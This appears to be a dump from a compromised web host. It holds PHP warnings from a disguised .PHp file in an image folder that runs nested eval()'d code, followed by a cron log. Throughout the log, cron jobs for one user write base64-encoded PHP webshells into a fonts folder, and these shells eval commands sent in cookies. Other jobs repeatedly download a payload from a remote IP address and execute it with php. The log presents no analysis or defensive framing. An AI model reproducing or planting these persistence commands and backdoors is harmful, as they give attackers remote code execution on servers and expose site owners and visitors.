

<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp:1) in <b>/home/curativehealthst/public_html/assets/images/portfolio/album/album_Others_0_1789672487.PHp(269) : eval()'d code(294) : eval()'d code(283) : eval()'d code(306) : eval()'d code(270) : eval()'d code(273) : eval()'d code(264) : eval()'d code(235) : eval()'d code(248) : eval()'d code(234) : eval()'d code(1) : eval()'d code</b> on line <b>325</b><br />
Aug 30 03:28:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[3257]: finished logrotate
Aug 30 03:28:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[3192]: starting man-db.cron
Aug 30 03:28:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[3830]: finished man-db.cron
Aug 30 03:28:03 ip-184-168-122-23 anacron[32515]: Job `cron.daily' terminated
Aug 30 03:28:03 ip-184-168-122-23 anacron[32515]: Normal exit (1 job run)
Aug 30 03:29:01 ip-184-168-122-23 CROND[3901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:29:01 ip-184-168-122-23 CROND[3903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:29:01 ip-184-168-122-23 CROND[3904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:29:01 ip-184-168-122-23 CROND[3905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:30:01 ip-184-168-122-23 CROND[3991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:30:01 ip-184-168-122-23 CROND[3990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:30:01 ip-184-168-122-23 CROND[3993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 03:30:01 ip-184-168-122-23 CROND[3997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:30:01 ip-184-168-122-23 CROND[3998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:30:01 ip-184-168-122-23 CROND[4000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:30:01 ip-184-168-122-23 CROND[4001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 03:30:01 ip-184-168-122-23 CROND[3999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 03:31:01 ip-184-168-122-23 CROND[4092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:31:01 ip-184-168-122-23 CROND[4094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:31:01 ip-184-168-122-23 CROND[4096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 03:31:01 ip-184-168-122-23 CROND[4095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:31:01 ip-184-168-122-23 CROND[4097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:32:01 ip-184-168-122-23 CROND[4176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:32:01 ip-184-168-122-23 CROND[4180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:32:01 ip-184-168-122-23 CROND[4178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:32:01 ip-184-168-122-23 CROND[4179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:32:01 ip-184-168-122-23 CROND[4181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:33:01 ip-184-168-122-23 CROND[4553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:33:01 ip-184-168-122-23 CROND[4556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:33:01 ip-184-168-122-23 CROND[4557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:33:01 ip-184-168-122-23 CROND[4555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:34:02 ip-184-168-122-23 CROND[4850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:34:02 ip-184-168-122-23 CROND[4852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:34:02 ip-184-168-122-23 CROND[4853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:34:02 ip-184-168-122-23 CROND[4855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:34:02 ip-184-168-122-23 CROND[4854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:35:01 ip-184-168-122-23 CROND[4959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:35:01 ip-184-168-122-23 CROND[4961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 03:35:01 ip-184-168-122-23 CROND[4963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:35:01 ip-184-168-122-23 CROND[4962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:35:01 ip-184-168-122-23 CROND[4964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 03:35:01 ip-184-168-122-23 CROND[4965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 03:35:01 ip-184-168-122-23 CROND[4967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:35:01 ip-184-168-122-23 CROND[4966]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 03:36:01 ip-184-168-122-23 CROND[5066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:36:01 ip-184-168-122-23 CROND[5068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:36:01 ip-184-168-122-23 CROND[5069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:36:01 ip-184-168-122-23 CROND[5071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:36:01 ip-184-168-122-23 CROND[5070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:37:01 ip-184-168-122-23 CROND[5165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:37:01 ip-184-168-122-23 CROND[5166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:37:01 ip-184-168-122-23 CROND[5168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:37:01 ip-184-168-122-23 CROND[5172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:38:01 ip-184-168-122-23 CROND[5495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:38:01 ip-184-168-122-23 CROND[5497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:38:01 ip-184-168-122-23 CROND[5500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:38:01 ip-184-168-122-23 CROND[5499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:38:01 ip-184-168-122-23 CROND[5498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:39:01 ip-184-168-122-23 CROND[5858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:39:01 ip-184-168-122-23 CROND[5860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:39:01 ip-184-168-122-23 CROND[5861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
